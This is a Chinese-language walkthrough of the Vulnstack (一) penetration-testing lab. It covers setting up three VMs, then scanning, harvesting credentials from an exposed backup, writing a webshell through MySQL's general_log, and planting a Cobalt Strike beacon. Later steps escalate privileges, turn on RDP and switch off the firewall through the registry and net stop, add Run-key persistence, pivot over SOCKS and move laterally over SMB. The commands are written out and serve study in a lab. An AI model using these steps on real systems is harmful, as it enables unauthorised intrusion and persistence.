网上有很多关于 Vulnstack(一) 的优质文章,本篇文章仅用于记录笔者自身的学习过程。因能力有限,过程中多多少少存在不完善的地方或是未解决的问题,日后有机会会补充上。
内网渗透基础总结:手把手教你如何进行内网渗透
共有三台机器,Win7是对外的web机,Win2003和Win2008(DC)是内网机器。
VM1(Win7)添加一块网卡,分别设置为:VMnet1(仅主机模式)、VMnet8(NAT模式)
VM2(Win2003)网卡设置为:VMnet1(仅主机模式)
VM2(Win2008)网卡设置为:VMnet1(仅主机模式)
导入虚拟机后不要过多操作如移除打印机等,否则可能会出现一些问题。建议大家每次打开靶机时都先打开Win2008(DC)再打开Win7和Win2003,关闭靶机是先关闭Win7和Win2003再关闭Win2008(DC),尽量避免出现环境问题吧。
首先打开Win2008(DC),使用域成员账号 GOD\liukaifeng01 初始密码 hongrisec@2019 登录,提示密码已过期,更改密码为 hongrisec@2021。接着切换用户,使用域管理员账号 GOD\Administrator 重复上述操作。最后重启Win2008,域数据联网更新后密码将自动同步至Win7与Win2003(域成员账号密码均存储在DC中,域数据更新同步前仍使用本地缓存的密码进行认证)。打开Win7提示激活,直接取消即可:
找到并打开phpstudy.exe,启动服务(若启动失败,重启Win7即可):
打开Firefox访问localhost,已确认服务启动:
整理一下:
攻击机kali:192.168.202.130
域成员Win7:192.168.202.132&192.168.52.143
域控Win2008:192.168.52.138
域成员Win2003:192.168.52.141
DNS服务器:192.168.52.138
当然喽,这是我们站在上帝视角,便于我们确认环境无误的。正常来说,拿到Win7的IP,然后开始我们的渗透之旅。
一、探测靶机IP
使用nmap对同一C段主机进行扫描:
nmap -sP 192.168.202.1/24
arp-scna -l
在靶机上执行ifconfig
进行确认(实战中拿下靶机前无法实现这一步):
二、端口扫描
使用nmap对靶机进行全扫描(扫描前确保phpstudy的服务已成功启动):
nmap -Pn -A 192.168.202.129
使用dirb对靶机进行目录扫描 :
dirb "http://192.168.202.132"
python3 dirmap.py -i 192.168.202.132 -lcf
使用whatweb对靶机上的网站进行指纹识别:
whtaweb http://192.168.202.132
使用御剑对靶机上的网站进行指纹识别:
使用cmscan对靶机上的网站进行指纹识别:
指纹识别依托于目录爆破,没有扫描到关键的cms信息既可能是字典的问题,也可能是靶机上根本就没有部署这样的网站。
访问http://192.168.202.132/phpifno.php:
phpinfo.php中存在许多关键信息,不过要具体漏洞具体分析。
访问http://192.168.202.132/phpmyadmin:
此处可能存在session包含和弱口令,如果成功登录不仅可以可以在数据库中翻阅用户敏感信息,还可以尝试日志包含或直接向文件中写shell。
访问http://192.168.202.132/beifen.rar,解压缩后得到yxcms文件夹:
YXcms是一款基于PHP+MySql开发的网站管理系统,采用轻量级MVC设计模式。
在\protected\config.php中找到phpmyadmin的用户名和密码:
尝试访问http://192.168.202.132/yxcms:
访问成功,并在公告信息处找到后台路径及用户名和密码,若成功登陆则可尝试写shell。
一、phpmyadmin
登录phpmyadmin,查看用户权限:
show grants for root@localhost;
show variables like "secure";
查看general_log和general_log_file:
show variables like "%general%";
set global general_log="on"; #开启日志
set global general_log_file="C:/phpStudy/WWW/a.php" #修改日志路径
需要注意的是,secure_file_priv的值无法通过上述方法进行修改:
MySQL 文件读写
写shell后一键连接:
select "";
登录后台尝试写shell:
编辑index_index.php(path:/yxcms/index.php),写shell后一键连接:
使用CS建立监听后生成可执行木马:
使用shell上传:
shell中执行:
成功上线:
进行漏洞提权:
成功获取system权限:
netstat -ano|findstr "3389"
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 11111111 /f
wmic RDTOGGLE WHERE ServerName='%COMPUTERNAME%' call SetAllowTSConnections 1
远程连接:
远程连接失败,本地ping一下试试:
无法ping通,猜测受到防火墙阻拦,关闭防火墙:
net stop mpssvc
成功关闭后仍无法ping通,远程连接失败:
使用CS可以轻松连接,但延迟会很高:
将C:/phpStudy/WWW/artifact.exe添加为注册表启动项:
reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v evil /t REG_SZ /d "C:\phpStudy\WWW\artifact.exe" /f
关闭Win7并重启CS:
重启Win7,未能成功上线,权限维持失败。经检验,在shell中执行的命令未能生效,而在本地执行该命令就能成功创建:
具体原因暂且不详,也可以尝试一下其他方法如写入Startup目录,或者直接使用CS插件。
一、内网穿透
正常来说,我们是无法访问通过Win7的内网IP访问服务的:
因此想要漫游内网,就必须要进行内网穿透。这里我们以Win7为跳板,给它挂上代理:
然后随便选择一个未被占用的端口,这里我选的是9050:
然后使用proxychain为kali挂上代理:
vim /etc/proxychains4.conf
proxychains4 curl http://192.168.52.143
需要注意的是,不要用ping进行验证,因为proxychains只会代理TCP连接,而ping使用的是ICMP。
这里延申一下,起初我以为通过CS实现的代理仅是简单的正向连接,但实际情况却与之不符。如果使用的是正向连接,那么9050端口就应该是在跳板机(Win7)上打开的,但经查实9050端口却是在kali上打开的:
这也就是为什么我们前面使用proxychains设置代理时使用的是127.0.0.1 9050,而不是Win7的192.168.202.132 9050。
故我猜测,通过CS内置功能([beacon] → Pivoting → SOCKS Server)实现的SOCKS v4代理,实质上是通过反弹SOCKS v4服务器实现的:kali开启9050监听和xxx监听(将9050端口的流量转发至xxx端口)然后Win7反弹SOCKS v4服务器到kali的xxx端口。
这样以来就符合实际情况了,kali上所有经过9050的端口的流量都将被转发至xxx端口,xxx端口再将流量转发至Win7,最后再通过Win7访问其他内网机器。由于这里CS服务端和客户端都是在kali上运行的,因此kali既充当攻击机,又充当公网VPS。
举一反三,假设CS的服务端是在Unbuntu上运行的,kali仍作为攻击机运行CS客户端,那么proxychains应该怎么设置呢?没猜错的话应该设置成Unbuntu的IP吧。
如何从零构建对内网穿透的理解
二、信息收集
查看域信息:
net view
共发现三台主机。注意这里不要使用提权后的system用户去执行命令,否则不会显示Win7的STU1,此外还会导致后面的一些命令无法执行。
查看DNS服务器:
ipconfig/all
net config workstation
这条命令查询到的信息非常全,包含上条命令查询到的DNS服务器。
前面的命令在CS中都以shell开头,指明执行的是cmd命令。下面我们通过CS内置的功能进行信息收集(前面已经完成了内网穿透,使用kali上的nmap等工具也行,这里不再进行演示)。
探测域内存活主机:
不对啊,这45.xx.xx.xx是几个意思?应该是环境问题,确保三台靶机都是开启状态再执行一次:
感觉还是有问题的,不知道是什么原因导致的,暂且不管了。
端口扫描:
这次的IP应该是正确的了,端口扫描发现三台主机均开启了139端口:
445/139端口怎么利用不用多说了吧,不了解的自行百度。
三、漏洞利用
首先我们开启一个SMB监听:
然后利用CS内置的jump模块进行传递:
整体来说比较简单,过一段时间会再用msf走一遍这个靶场,到时候再做补充。